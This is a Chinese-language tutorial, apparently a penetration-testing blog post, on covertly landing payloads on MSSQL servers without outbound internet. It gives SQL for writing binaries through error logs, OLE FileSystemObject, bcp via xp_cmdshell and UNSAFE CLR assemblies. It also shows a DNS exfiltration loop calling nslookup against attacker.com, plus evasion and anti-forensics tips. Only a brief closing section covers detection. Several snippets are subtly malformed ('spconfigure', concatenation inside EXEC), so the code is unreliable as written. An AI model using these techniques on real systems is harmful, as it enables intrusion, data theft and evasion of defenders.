悠悠楠杉
MSSQL不出网环境下的隐蔽文件落地上线实战技巧
引言:特殊场景下的渗透挑战
在金融、政务等隔离网络渗透测试中,常遇到MSSQL数据库不出网但需文件落地的场景。传统的certutil、powershell远程下载方式失效后,攻击者需要掌握一套完整的无外联文件传输方案。本文将深入剖析五种实战验证的技巧组合。
一、基于日志写入的碎片化文件组装
关键词:错误日志注入、十六进制拆分、多语句拼接
通过sp_addmessage
创建自定义错误消息,配合RAISERROR
写入二进制内容:
sql
-- 创建临时错误消息
EXEC sp_addmessage 50005, 10, N'[文件头二进制数据]', @replace = 'replace'
-- 写入系统日志
RAISERROR(50005, 10, 1) WITH LOG
实战要点:
1. 使用Python生成16进制分片脚本(每片不超过2048字符)
2. 通过时间戳筛选最新写入内容
3. 需提前禁用日志循环策略
二、扩展存储过程文件写入
核心技巧:xpcmdshell与debug组合技sql
-- 启用OLE自动化
spconfigure 'show advanced options', 1
RECONFIGURE
sp_configure 'Ole Automation Procedures', 1
RECONFIGURE
-- 使用FileSystemObject写入
DECLARE @obj INT, @fs INT
EXEC spOACreate 'Scripting.FileSystemObject', @obj OUT
EXEC spOAMethod @obj, 'CreateTextFile', @fs OUT, 'C:\target.dll', 1
EXEC sp_OAMethod @fs, 'Write', NULL, '文件二进制内容'
规避检测的三种变形:
- 使用VBScript.Base64解码
- 分块写入临时目录再移动
- 利用系统合法白进程加载
三、表数据转储文件重建
创新方法:利用BCP实用程序导出sql
-- 创建临时表存储二进制
CREATE TABLE #filecache (id INT IDENTITY, chunk VARBINARY(8000))
INSERT INTO #filecache VALUES (0x4D5A...)
-- 使用BCP导出组合
EXEC xp_cmdshell 'bcp "SELECT chunk FROM #filecache ORDER BY id" queryout C:\payload.exe -T -n'
进阶技巧:
- 配合certutil进行Base64重组
- 使用差异备份恢复技术
- 伪装成SQL备份文件扩展名
四、CLR组件伪装技术
深度隐藏方案:
1. 准备经过签名的合法CLR程序集
2. 使用ALTER ASSEMBLY加载:
sql
CREATE ASSEMBLY MyAssembly FROM 0x4D5A... WITH PERMISSION_SET = UNSAFE
CREATE PROCEDURE sp_loadpayload
AS EXTERNAL NAME MyAssembly.StoredProcedures.Load
反溯源要点:
- 劫持已存在的CLR组件
- 使用延迟加载技术
- 伪造程序集强名称
五、DNS隐蔽信道传输
不出网环境下的突围:
sql
-- 构造DNS解析请求
DECLARE @i INT = 1
WHILE @i <= LEN(@data)
BEGIN
DECLARE @chunk VARCHAR(60) = SUBSTRING(@data, @i, 40)
EXEC xp_cmdshell 'nslookup ' + @chunk + '.attacker.com'
SET @i = @i + 40
END
优化策略:
- 使用TXT记录提高传输效率
- 动态编码切换规避检测
- 配合ICMP隧道二次转发
防御视角的检测建议
- 监控sp_addmessage异常调用频次
- 审计BCP、xp_cmdshell的非常规使用
- 建立CLR组件哈希白名单
- 分析DNS查询中的异常长域名
结语:攻防对抗的本质思考
在不出网环境中,攻击链的每个环节都需要更精细化的对抗。防守方应重点关注存储过程滥用、异常日志写入等行为特征,通过部署EDR对文件重建过程进行行为阻断。攻防的本质始终是时间与技术的博弈。